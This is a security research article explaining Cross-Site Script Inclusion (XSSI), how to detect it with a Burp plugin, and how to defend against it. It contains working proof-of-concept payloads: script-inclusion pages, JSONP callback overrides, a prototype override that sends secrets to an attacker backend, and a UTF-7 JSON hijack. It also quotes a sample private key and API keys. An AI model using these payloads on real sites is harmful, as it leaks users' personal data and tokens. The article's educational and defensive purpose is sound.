Two key components account for finding vulnerabilities of a certain class: awareness of the vulnerability and ease of finding the vulnerability. Cross-Site Script Inclusion (XSSI) vulnerabilities are not mentioned in the de facto standard for public attention – the OWASP Top 10. Additionally there is no publicly available tool to facilitate finding XSSI. The impact reaches from leaking personal information stored, circumvention of token-based protection to complete compromise of accounts. XSSI vulnerabilities are fairly wide spread and the lack of detection increases the risk of each XSSI. In this paper I am going to demonstrate how to find XSSI, exploit XSSI and also how to protect against XSSI exploitation.

Background

This section clarifies the terms origin and same-origin policy (SOP). Those who know these terms well can skip to the next section.

The concept origin and the security mechanism to isolate web content which is based on it, the same-origin-policy, were introduced by Netscape parallel to JavaScript. SOP defines how documents may interact with each other: two documents are allowed to access each other when they originate from the same origin. This is the de facto base of web security. The origin is defined by most browsers as port, hostname and protocol. Microsoft Internet Explorer is the exception, not including the port. This has its own (security) implications. The following table from the Mozilla Developer Network demonstrates the most commonly used SOP using the example URL http://store.company.com/dir/page.html :

URL Result Reason http://store.company.com/dir2/other.html Success - http://store.company.com/dir/inner/another.html Success - https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host

Since there is no fundamental consensus on how documents are allowed to interact with each other, isolation of contents is a happy hurly-burly. For more information: Security Researcher Michal Zalewski devotes a whole chapter in his book Tangled Web to this mess.

XSSI

Cross-Site Script Inclusion (XSSI), a somewhat unimaginative but descriptive name, designates a kind of vulnerability which exploits the fact that, when a resource is included using the script tag, the SOP doesn’t apply, because scripts have to be able to be included cross-domain. An attacker can thus read everything that was included using the script tag.

This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called ambient-authority information like cookies are used for authentication. The cookies are, as also with cross-site request forgery (CSRF), included when requesting a resource from a different host. The vulnerability is mentioned in a footnote in the aforementioned book by Michal Zalewski and the footnote turned paper by Sebastian Lekies et al.

XSSI can, depending on the content of the data inside the script, be exploited in different manners. Sensitive data in wide-spread use are personal data like e-mail, postal address, birthday etc. But one can also find tokens, session ids and other ids such as UIDs. The easiest way to profit is checking if a user is logged in (login oracle). The gained information can also be misused for social engineering attacks and application specific attacks.

Demarcation from XSS and CSRF

XSSI are by name close to Cross-Site Scripting (XSS) and from the description close to Cross-Site Request Forgery (CSRF). The commonality between the three is that they are all client-side attacks.

The difference to XSS is easy: during an XSS malicious code is placed into a victim’s page, during an XSSI victim’s code is included in a malicious page. On the surface XSSI and CSRF look similar, because in both a request is sent from a malicious page to a different domain and in both cases the request is executed in the context of the logged in user. The key difference is the goal. In a CSRF, the attacker wants to execute state-changing actions inside a victim’s page, like transferring money in an online banking application. In an XSSI the attacker wants to leak data cross-origin, in order to then execute one of the aforementioned attacks.

Searching, Finding and Exploiting

When searching for XSSI one needs to distinguish four situations. But exploitation is fortunately often similar or even the same (analog to reflected XSS and stored XSS). We can differentiate four situations:

Static JavaScript (regular XSSI ) Static JavaScript, which is only accessible when authenticated Dynamic JavaScript Non-JavaScript

Regular XSSI

All cases are treated as regular XSSI when a static script which is publicly available contains sensitive data. In this case, the issue can almost only be detected by reading the files. One can also apply heuristics and try to find private keys, social security or credit card numbers with regular expressions. But exploiting is usually trivial once a situation has been identified. Let us assume the sensitive content resides inside a global variable, as in the following real-world example (keys replaced):

var privateKey = "-----BEGIN RSA PRIVATE KEY-----\ MIIEpQIBAAKCAQEAxaEY8URy0jFmIKn0s/WK6QS/DusEGRhP4Mc2OwblFQkKXHOs\ XYfbVmUCySpWCTsPPiKwG2a7+3e5mq9AsjCGvHyyzNmdEMdXAcdrf45xPS/1yYFG\ 0v8xv6QIJnztMl18xWymaA5j2YGQieA/UNUJHJuvuvIMkZYkkeZlExszF2fRSMJH\ FUjnFNiYt0R8agdndexvuxFApYG40Hy6BJWgKW3NxowV9XbHOaDvX+3Bal5tbtrM\ IzqTptgldzMGs73bJ+7nUqyv7Dicbn1XD4j9XBYy+FOBhVagSztqMFpOFcfAK7Er\ sorY0yWN6aBobtENBUPkeqGiHxBAQ42ki9QkUwIDAQABAoIBAQCThrBx2iDEW2/b\ TkOG2vK5A3wEDNfgS8/FAbCv23PCgh8j6I1wvGu1UG4F8P6MoXO9dHN14PjOvQ7m\ M5Dd82+A4K0wUfn3fnaqs0zByXkqrdSSeVh/RVTDtBUJdhQylqr/TR3ja2qKATf+\ VFGva3gDzQwfR3SucSAXcZ9d5d37x4nzFRa8ogNxxkCUy1PYHqnIpB/4MsOL8f0S\ F5LR+u/F67GKFzGZXyh1i/tgIHZCOvftmj2DLx/1EoZyiLSnMABt7XmztIqYXTJG\ TnXi8ix4vkwUENfveZb9yKrdmrPGITi+f5FYDlyjeSXZYZqAGhSjI69juNn36gCa\ 6Idt7I3xAoGBAOenoayBlmGEsWDGL8/XuAUlsceGRSoQ/MrGqx7LSgvkROYDyAfE\ Db8vfy6f/qf9OI1EHwzu8QYnwKh8D0zldz9xl9Fwx4k1EIcD2BjTiJMBBk0FeybO\ sqe4UwGzJvsTmfhlhJ4zZYLi1wMmkt1q1sMm9gb55nfTUDH8lzWJE/mFAoGBANpm\ DcmcaUsSXkbBbmHZiV07EW4BUBpleog6avcNOcdGcylvDs17IwG28toAtOiJqQ/F\ qnOqkQ73QXU7HCcmvQoX/tyxJRg/SMO2xMkYeHA+OamMrLvKgbxGLPG5O9Cs8QMl\ q944WOrNhSfBE+ghPz4mpBbAxOOw0SoUYwCd52H3AoGAQnTLo8J1UrqPbFTOyJB5\ ITjkHHo/g0bmToHZ+3aUYn706Quyqc+rpepJUSXjF2xEefpN8hbmHD7xPSSB+yxl\ HlVHGXWCOLF5cVI//zdIGewUU6o73zEy/Xyai4VKrIK+DA2LkxrphzfuOOArB8wr\ mkamE/BDFqMPgZeWBWyyx0UCgYEAg9kqp7V6x6yeJ98tEXuv9w3q9ttqDZWIBOgn\ nWBpqkl4yuHWMO0O9EELmdrlXKGG5BO0VMH7cuqIpQp7c5NqesaDwZ5cQ6go+KbF\ ZJYWV8TpMNfRjEm0SwKerYvjdZaCpiC/AphH7fEHWzmwF+rCcHYJiAb2lnMvw1St\ dDjf8H8CgYEA4US7hhi1B2RDSwmNGTTBlGpHqPN73gqx2uOb2VYQTSUA7//b3fkK\ pHEXGUaEHxxtEstSOUgT5n1kvo+90x3AbqPg6vAN4TSvX7uYIWENicbutKgjEFJi\ TpCpdZksy+sgh/W/h9T7pDH272szBDo6g1TIQMCgPiAt/2yFNWU6Hks=\ -----END RSA PRIVATE KEY-----", keys = [ { name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey }, { name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey } ];

Simply include it in your own site and read the variable:

<html> <head> <title>Regular XSSI </title> <script src="https://www.vulnerable-domain.tld/script.js"></script> </head> <body> <script> alert( JSON .stringify(keys[0])); </script> </body> </html>

Dynamic-JavaScript-based- XSSI and Authenticated-JavaScript- XSSI

These two classes have different technical backgrounds, though these are mostly irrelevant for testers. Both finding and exploiting are fortunately almost identical. I wrote a Burp Plugin with the name DetectDynamicJS to do exactly that. The plugin is intended to support web application penetration testers during audits.

All script files are passively scanned. Afterwards the file is re-requested, but this time without cookies. The file received then is compared to the original and if the two files differ, this is reported in the Target tab as finding with level Information. This catches both dynamic JavaScript as well as JavaScript that is only reachable when the user is authenticated. The reason for Information is that dynamic JavaScript is not necessarily a security risk. It can be used for processing user data, service bootstrapping, setting variables in complex applications and sharing data with other services such as tracking.

To know if the file is a script or not, a filter comes into play. This filter is still subject to constant change and is being continuously developed. Currently the plugin checks file endings for .js , .jsp and .json . As such .json is not a valid file ending for a script and not even JSONP, but that doesn’t stop some developers from abusing it.

To reduce false positives, the first character of the original file is checked not to be { . Currently this can’t be valid script syntax. The Content-Type header is checked for strings such as javascript , jscript , ecmascript and json . This is due to ignored standards. The filter also does use the mimetype recognition methods of BurpSuite. If script is in either stateMimeType or inferredMimeType it will be scanned. As a side note: the extension was developed before Burp Version 1.6.39, where improvements were implemented to the detection mechanism. Despite that, it occasionally fails to detect a JavaScript file. Some filters are definitely redundant, but experience shows that trying to slender the filter sometimes ends up in false negatives. To further reduce false positives, it is checked that the original file was not delivered with a HTTP response code from the 300-family (Forwardings and such). Another way to reduce false positives, which might or might not find their way into the extension, is to issue a second unauthenticated request, to gather a third version of the file, if the second file was a script (and not HTML) and different from the original. If both unauthenticated requests end up with different responses we can conclude that it is a generic dynamic script and not dependent on the authentication. This happens frequently with timestamps and advertisement.

Exploiting

XSSI can be used in the context of authentication be used to steal keys etc. The options of misuse are only limited by the creativity of the application developers. Some cases occur repeatedly and so I want to show how to cover these.

Variables can be easily read if they reside inside the global namespace as shown above.

Overriding functions in JavaScript shouldn’t be a problem even for JavaScript-Newbies. The following example stems from a real world example. The website accesses user data inside the profile page using a JSONP callback

angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})

to get the information function _7 has to be overridden.

<script> var angular = function () { return 1; }; angular.callbacks = function () { return 1; }; angular.callbacks._7 = function (leaked) { alert( JSON .stringify(leaked)); }; </script> <script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

This also works with global functions. In this case, it isn’t necessary though to override the function. You can simply provide your own callback function.

<script> leak = function (leaked) { alert( JSON .stringify(leaked)); }; </script> <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using prototype tampering. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper The Unexpected Dangers of Dynamic JavaScript and demonstrates how overriding a relevant function of type Array and access to this , a non-global variable can be leaked as well.

(function(){ var arr = ["secret1", "secret2", "secret3"]; // intents to slice out first entry var x = arr.slice(1); ... })();

In the original code slice from type Array accesses the data we’re interested in. An attacker can, as described in the preceding clause, override slice and steal the secrets.

Array.prototype.slice = function(){ // leaks ["secret1", "secret2", "secret3"] sendToAttackerBackend(this); };

Security Researcher Sebastian Lekies just recently updated his list of vectors.

Non-Script- XSSI

Takeshi Terada describes another kind of XSSI in his paper Identifier based XSSI attacks. He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the script tag, using the data as variable and function names.

The first publicly documented XSSI attack was in 2006. Jeremiah Grossman’s blog entry Advanced Web Attack Techniques using GMail depicts a XSSI, which by overriding the Array constructor was able to read the complete address book of a google account.

In 2007 Joe Walker published JSON is not as safe as people think it is. He uses the same idea to steal JSON that is inside an Array .

Other related attacks were conducted by injecting UTF-7 encoded content into the JSON to escape the JSON format. It is described by Gareth Heyes, author of Hackvertor, in the blog entry JSON Hijacking released in 2011. In a quick test, this was still possible in Microsoft Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome.

JSON with UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Including the JSON in the attacker’s page

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset=" UTF -7"></script>

Protection from XSSI

Developers should never place sensitive content inside JavaScript files and also not in JSONP. This already thwarts a large number of attacks from category 1 to 3. Category 4 vulnerabilities are usually fixed through browserside measurements. Nevertheless, user entries which are saved to JSON files and read from them should be sanitized.

The majority of bugs described in Takeshi Terada’s paper have been fixed. However, there is always the possibility that similar bugs are found again. These can be blocked at least partially by instructing the browser to not guess the content-type. Some browsers accept the not-yet-standard response header X-Content-Type-Options: nosniff to do so. A correct Content-Type is also helpful in reducing the chance of XSSI.

About the Author

Veit Hailperin has been working in information security since 2010. His research focuses on network and application layer security and the protection of privacy. He presents his findings at conferences.

Links